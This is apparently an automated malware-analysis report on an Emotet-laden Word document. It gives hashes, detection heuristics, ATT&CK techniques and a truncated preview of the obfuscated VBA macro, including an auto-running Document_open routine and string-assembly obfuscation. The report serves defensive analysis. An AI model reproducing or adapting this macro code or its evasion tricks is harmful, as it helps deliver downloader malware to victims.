Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4320ac63a844d021…

MALICIOUS

Office (OLE)

178.7 KB Created: 2019-12-11 13:04:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 2c0864e90ed8ed6b65df42b2ff1af421 SHA-1: 9fd152bf39434f39d225b5f46fa5c8014aafe5ef SHA-256: 4320ac63a844d0218ce852cf498b9abca14799f24c8808dc551e3818a544bd68
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an auto-executing Document_Open subroutine. Heuristics indicate the use of CreateObject to launch processes via WMI, specifically targeting 'winmgmts' to execute a payload. ClamAV detection confirms this as Emotet, a known downloader family. The obfuscated script and WMI process creation strongly suggest the intent to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7445827-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7445827-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7773 bytes
SHA-256: c8e34f28091b9987709c395ffb8fc27e1ccdf687a8f35af82cb15da953751587
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cdpfksfq"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Ogxselex, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Cemgiwaokv = Vggbdelxge To 0
         Ujflwhbuvuzi = (13 - Atn(51) - (44 + Round(41) * Yzdiwqbtdwjez / CInt(1)))
    Select Case Sdxqrmyqp
      Case Uvnbgybh
         Uxixtbgjbr = CLng(Ndrbrjkzioq)
         Ffcpldsgvyfo = Oct(Kshoavgikkfhr)
      Case Dfgpcnvet
         Pirelmylzhb = Ypxvrkelvzs
         Zqjpnnymfyqfy = Int(29)
   End Select
Next
   For Fhvsjotgb = Imvajudhwihl To 0
         Mwnpgjuga = (13 - Atn(51) - (44 + Round(41) * Rmdrstusqkeuw / CInt(1)))
    Select Case Eriwywskxrg
      Case Habmadriaqdo
         Nxhcrbsecxdx = CLng(Cgamcylpisttw)
         Bfildfmp = Oct(Pdcxejdcsft)
      Case Mohxopixfmaa
         Mxtqrlwnvise = Qeakmnvwvix
         Rjqbwmorf = Int(29)
   End Select
Next
   For Nkfxgsowjebq = Vivmlbcawmqz To 0
         Ngszlwwgfvr = (13 - Atn(51) - (44 + Round(41) * Mxgbvzpjpw / CInt(1)))
    Select Case Asmotggnxi
      Case Cejxpdzvio
         Pkuaphyj = CLng(Ldjrlokqoeu)
         Qqstmxoclcjyj = Oct(Yqjsdntfo)
      Case Kkrzmivlekxn
         Tmzaztcces = Bqlwkdwumekl
         Dxhvacwg = Int(29)
   End Select
Next
Kmmobpjryuv
End Sub

Attribute VB_Name = "Zatvdjeqllad"
Attribute VB_Base = "0{E39E7F5C-5CF6-4A18-8A9D-B1BD4FD274DD}{2E884786-8293-4FD8-907B-B4CF4AD46608}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Advelzywt"
Function Dtmwcoukcsjj()
   For Qselcrgvokks = Nxkxdvtcbe To 0
         Bjvzcmsldf = (13 - Atn(51) - (44 + Round(41) * Oxdqhxvbvl / CInt(1)))
    Select Case Kgvqboqzg
      Case Xzoixadiivb
         Scueidpqj = CLng(Vqbkpobcwhf)
         Oxbsdsljxpyz = Oct(Rddzolznhy)
      Case Tuymynlbqkcw
         Dgxbdkvckyt = Ftbqczkyqkkq
         Svgbgmxhtpf = Int(29)
   End Select
Next
Wjzdntzdnkvzi = Cdpfksfq.Ogxselex
   For Lwldntzrv = Pddjrffuwb To 0
         Docdddjcvs = (13 - Atn(51) - (44 + Round(41) * Fizxakngcl / CInt(1)))
    Select Case Dtrmaupd
      Case Iplpwomcpx
         Eigiuloaiscz = CLng(Mxbaclhsaj)
         Ozuzvnokpi = Oct(Aepdeqmmombo)
      Case Vdkliwwjwpg
         Pkpudqjzxvenk = Wcxfyfskadajv
         Axwtwbysy = Int(29)
   End Select
Next
Kmvmlxpk = Wjzdntzdnkvzi + Zatvdjeqllad.Ibwzfvxonm + Zatvdjeqllad.Oafmampn + Zatvdjeqllad.Tnsmhfqszwq
   For Paxoheqdj = Uzwnaobqekb To 0
         Nrvvpcey = (13 - Atn(51) - (44 + Round(41) * Rxbadncy / CInt(1)))
    Select Case Gbkdhnpaxgt
      Case Tbqiunhi
         Yeqzoycbm = CLng(Wlgrocmdbj)
         Uhynfhlj = Oct(Wmzrnbcuehe)
      Case Qjrgkueqwqbws
         Xtbadiptsw = Bhezzakieo
         Pbyzvxuv = Int(29)
   End Select
Next
Biamlhtakhrw = Kmvmlxpk + Zatvdjeqllad.Guonqqczoupu + Zatvdjeqllad.Yinoowta.ControlTipText
   For Gklartzwfevht = Gxwvancw To 0
         Wlkcwcpkgpobb = (13 - Atn(51) - (44 + Round(41) * Sjojidxffvly / CInt(1)))
    Select Case Keoteuipuicgx
      Case Nevcaieomj
         Ffgkdknvlaixz = CLng(Ofhcgkwr)
         Veogqckmvcj = Oct(Yvkrxnwydnepi)
      Case Moioquigy
         Yxkdjtahjhvs = Trrqkrhx
         Htvxcpom = Int(29)
   End Select
Next
Dtmwcoukcsjj = Mcscyfdrofiz + Biamlhtakhrw + Mcscyfdrofiz
   For Oakfmbeuukjib = Nynqjzyd To 0
         Rabzuklgpqcuh = (13 - Atn(51) - (44 + Round(41) * Rimwwdtlxm / CInt(1)))
    Select Case Exzqxehv
      Case Uzzybmzy
         Ogsrlgiuxpd = CLng(Khjpzepadko)
         Wybhlytolx = Oct(Eqwmxkzhk)
      Case Swztdqkvdez
         Sqeetazjdg = Tngzofchhjk
         Pyaccefgl = Int(29)
   End Select
Next
End Function
Function Kmmobpjryuv()
   For Gbbowhfyjyezf = Yhgubcnr To 0
         
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.